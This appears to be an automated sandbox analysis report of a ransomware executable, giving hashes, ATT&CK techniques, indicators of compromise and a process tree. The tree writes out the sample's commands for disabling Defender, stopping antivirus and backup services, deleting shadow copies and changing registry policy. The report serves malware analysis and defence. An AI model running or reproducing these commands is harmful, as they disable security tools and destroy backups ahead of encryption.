cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Resubmissions

30-06-2024 11:05

240630-m6ssqawhkc 10

30-06-2024 11:04

240630-m6hmrazejm 10

29-06-2024 20:11

240629-yybd9avdrf 10

Analysis

max time kernel
118s
max time network
124s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
30-06-2024 11:04

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

10^/10

defense_evasion evasion execution impact ransomware

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (74) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2264 cmd.exe

pid	process
2264	cmd.exe

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Enumerates connected drives 3 TTPs 12 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

2 raw.githubusercontent.com
3 raw.githubusercontent.com
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1076 sc.exe
1640 sc.exe
980 sc.exe
1680 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

pid	process
1076	sc.exe
1640	sc.exe
980	sc.exe
1680	sc.exe

Interacts with shadow copies 3 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
2624	vssadmin.exe
940	vssadmin.exe
2244	vssadmin.exe
2392	vssadmin.exe
1196	vssadmin.exe
2504	vssadmin.exe
2452	vssadmin.exe
1120	vssadmin.exe
1836	vssadmin.exe
536	vssadmin.exe
1628	vssadmin.exe
2652	vssadmin.exe
2324	vssadmin.exe
2692	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2540 taskkill.exe
2008 taskkill.exe
2356 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

1496 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2036 PING.EXE

pid	process
2540	taskkill.exe
2008	taskkill.exe
2356	taskkill.exe

pid	process
1496	notepad.exe

pid	process
2036	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exepowershell.exevssvc.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeBackupPrivilege	2756	vssvc.exe
Token: SeRestorePrivilege	2756	vssvc.exe
Token: SeAuditPrivilege	2756	vssvc.exe
Token: SeDebugPrivilege	2540	taskkill.exe
Token: SeDebugPrivilege	2356	taskkill.exe
Token: SeDebugPrivilege	2008	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

2000 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

2000 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exenet.exe

description	pid	process	target process
PID 2000 wrote to memory of 2280	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 2000 wrote to memory of 2280	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 2000 wrote to memory of 2280	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 2000 wrote to memory of 2280	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 2000 wrote to memory of 2588	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 2000 wrote to memory of 2588	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 2000 wrote to memory of 2588	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 2000 wrote to memory of 2588	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 2000 wrote to memory of 2004	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2004	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2004	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2004	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2568	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2568	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2568	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2568	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2668	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2668	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2668	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2668	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2720	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2720	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2720	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2720	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2616	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2616	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2616	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2616	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2320	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2320	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2320	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2320	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2732	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2732	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2732	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2732	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2696	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2696	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2696	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2696	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2704	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2704	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2704	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2704	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2908	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2908	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2908	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2908	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2572	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2572	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2572	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2572	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2512	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2512	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2512	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2512	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2588 wrote to memory of 2452	2588	net.exe	vssadmin.exe
PID 2588 wrote to memory of 2452	2588	net.exe	vssadmin.exe
PID 2588 wrote to memory of 2452	2588	net.exe	vssadmin.exe
PID 2588 wrote to memory of 2452	2588	net.exe	vssadmin.exe
PID 2000 wrote to memory of 2472	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2472	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2472	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 2000 wrote to memory of 2472	2000	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2280
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:2452
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2004
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:2580
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:2568
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:1120
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:2668
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:2436
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:2720
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:2792
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:2616
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:2516
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2320
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:2828
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2732
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:2784
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:2696
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:2768
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2704
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:2764
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2908
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:2788
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2572
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:2524
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:2512
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:768
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2472
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:1632
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:2508
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:948
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2100
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2500
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2060
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:3016
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:1832
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:3024
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:1672
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:3028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:1256
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:2852
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:2352
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:2344
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2876
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:2276
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:3036
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:1080
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2824
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:432
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2228
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:2012
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:1700
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:2036
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2916
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:2820
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:1992
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:1996
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1232
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:704
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:1408
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:1676
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:872
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:752
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:1776
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:1496
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1944
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:1008
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:1168
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:1688
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:2268
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:2660
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:1680
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:1076
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:980
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
